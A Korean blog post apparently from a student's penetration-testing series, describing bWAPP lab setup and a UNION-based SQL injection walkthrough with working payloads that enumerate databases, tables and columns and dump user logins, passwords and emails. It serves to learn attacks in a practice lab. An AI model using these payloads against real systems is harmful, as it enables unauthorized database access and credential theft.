bwapp 세팅 및 사용

유서정·2024년 5월 4일
0

모의해킹

목록 보기
6/6

NAT 설정으로 둘다 같은 대역대 공유

초기 id, pw
bee / bug

1. 테이블의 칼럼 개수 알아내기

UNION 구문을 사용하려면 이전 쿼리에서 사용하는 SELECT 문의 칼럼 수가 일치해야 한다.
=> 이점을 이용해 현재 테이블의 칼럼 개수를 알아내는 과정

컬럼개수는 총 7개

2. DB 내부 구조 파악


=> 사용자에게 출력되는 부분이 2,3,5,4 번

2, 3, 4, 5 번 컬럼을 이용하여 원하는 정보 추출

현재 database와 버전 추출

' union select 1,database(),version(),4,5,6,7 #

현재 사용중인 DB : bWAPP

database 목록 추출

sql 서버에 존재하는 database 목록 추출
' union select 1,schema_name,3,4,5,6,7 from information_schema.schemata #

limit으로 하나씩 추출

' union select 1,(select schema_name FROM information_schema.schemata limit 1),3,4,5,6,7 #

' union select 1,(select schema_name FROM information_schema.schemata limit 1,1),3,4,5,6,7 #

' union select 1,(select schema_name FROM information_schema.schemata limit 2,1),3,4,5,6,7 #

' union select 1,(select schema_name FROM information_schema.schemata limit 3,1),3,4,5,6,7 #

information_schema에 있는 tables 목록 추출

' union select 1,table_name,3,4,5,6,7 from information_schema.tables #

테이블 목록 나타남

현재 DB의 모든 테이블 명 조회

' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema = 'bWAPP' #

where table_schema = database() 해도 결과는 같음

스칼라 함수

table_schema : 데이터베이스 이름
table_name : 테이블 이름

현재 DB의 모든 컬럼 명 조회

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema = 'bWAPP' #

현재 DB 중, users 테이블에 대한 컬럼명 조회

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users' #

USERS 테이블의 칼럼 명을 출력

3. 원하는 정보 추출

현재 DB 중, users 테이블에서 사용자 정보 추출

' union select 1,id,login,password,email,6,7 from users #

0' union select 1,id,login,password,email,6,7 from users #
이렇게 조회하면 위에 기존 데이터 안뜸

https://security-story.tistory.com/22

profile
information security

0개의 댓글